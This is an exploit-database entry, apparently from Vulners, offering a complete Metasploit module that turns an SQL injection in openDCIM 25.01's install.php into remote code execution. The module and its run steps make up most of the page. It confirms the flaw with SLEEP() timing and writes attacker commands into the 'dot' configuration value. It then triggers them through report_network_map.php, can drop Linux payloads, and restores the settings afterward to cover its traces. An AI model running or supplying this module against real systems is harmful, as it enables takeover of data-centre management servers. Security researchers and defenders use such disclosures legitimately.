==================================================================================================================================
| # Title : openDCIM 25.01 SQL Injection Leading to Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://opendcim.org/downloads.html |
==================================================================================================================================
[+] Summary : This Metasploit module targets a logical SQL Injection vulnerability in the install.php endpoint of openDCIM, which can be escalated to Remote Code Execution (RCE).
The exploit workflow includes:
A timing-based SQL injection check using SLEEP() to confirm vulnerability.
Injection into LDAP-related configuration fields stored in the database.
Creation of a temporary backup table to preserve existing configuration values.
Manipulation (“poisoning”) of a configuration parameter (dot) to inject system commands.
Triggering execution through a web request to report_network_map.php.
Supporting two attack modes:
Command shell execution (cmd)
Payload dropper for Linux systems
[+] The module also implements:
Configuration backup before exploitation
Automatic restoration of settings after execution to reduce impact traces
[+] How to Save & Run (Metasploit Module):
Save the module: open_dcim_sqli_rce.rb
Move it into Metasploit local path: ~/.msf4/modules/exploits/multi/http/
Start Metasploit: msfconsole
Load the module: use exploit/multi/http/open_dcim_sqli_rce
Set options:
set RHOSTS <target_ip>
set TARGETURI /
Run the exploit:
run
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'openDCIM install.php SQL Injection to RCE',
'Description' => %q{
SQLi -> RCE via openDCIM install.php (logical fixed version).
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['printf', 'bourne'],
'Type' => :dropper
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-02-28'
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
LDAP_FIELDS = %w[
LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration
LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess
LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin
LDAPContactAdmin LDAPSiteAdmin
].freeze
DOT_PARAM = 'dot'.freeze
def install_uri
normalize_uri(target_uri.path, 'install.php')
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => install_uri
)
return CheckCode::Unknown unless res
return CheckCode::Safe unless res.code == 200
return CheckCode::Safe unless res.body.include?('install') || res.body.include?('openDCIM')
print_status('Testing SQL injection timing')
3.times do |i|
sleep_time = 2
elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'method' => 'POST',
'uri' => install_uri,
'vars_post' => {
'ldapaction' => 'Set',
'LDAPServer' => "'; SELECT SLEEP(#{sleep_time}); -- "
}
)
end
print_status("Test #{i + 1}: #{elapsed_time.round(2)}s")
if elapsed_time < sleep_time
return CheckCode::Safe('Timing condition not met')
end
end
CheckCode::Vulnerable
end
def exploit
@backup_table = Rex::Text.rand_text_alpha(8).downcase
fail_with(Failure::UnexpectedReply, 'Backup failed') unless backup_config
case target['Type']
when :cmd
fail_with(Failure::UnexpectedReply, 'Poison failed') unless poison_dot(payload.encoded)
trigger_exec
when :dropper
execute_cmdstager
end
ensure
cleanup_config
end
def execute_command(cmd, _opts = {})
fail_with(Failure::UnexpectedReply, 'Poison failed') unless poison_dot(cmd)
trigger_exec
end
def trigger_exec
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'report_network_map.php'),
'vars_get' => { 'format' => '0', 'containerid' => '1' }
)
end
def inject_sql(field, sql)
form = { 'ldapaction' => 'Set' }
LDAP_FIELDS.each do |f|
form[f] = ''
end
form[field] = "'; #{sql}; -- "
res = send_request_cgi(
'method' => 'POST',
'uri' => install_uri,
'vars_post' => form
)
res && [200, 302].include?(res.code)
end
def backup_config
inject_sql(
'LDAPServer',
"DROP TABLE IF EXISTS #{@backup_table};
CREATE TABLE #{@backup_table} AS
SELECT Parameter, Value FROM fac_Config
WHERE Parameter LIKE 'LDAP%' OR Parameter='#{DOT_PARAM}'"
)
end
def poison_dot(value)
safe = value.to_s.gsub('"', '\"')
inject_sql('LDAPBaseDN',
"UPDATE fac_Config SET Value=\"#{safe}\" WHERE Parameter='#{DOT_PARAM}'")
end
def restore_config
inject_sql(
'LDAPSiteAdmin',
"UPDATE fac_Config c
INNER JOIN #{@backup_table} b
ON c.Parameter=b.Parameter
SET c.Value=b.Value;
DROP TABLE IF EXISTS #{@backup_table}"
)
end
def cleanup_config
return unless @backup_table
print_status('Restoring configuration...')
restore_config
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation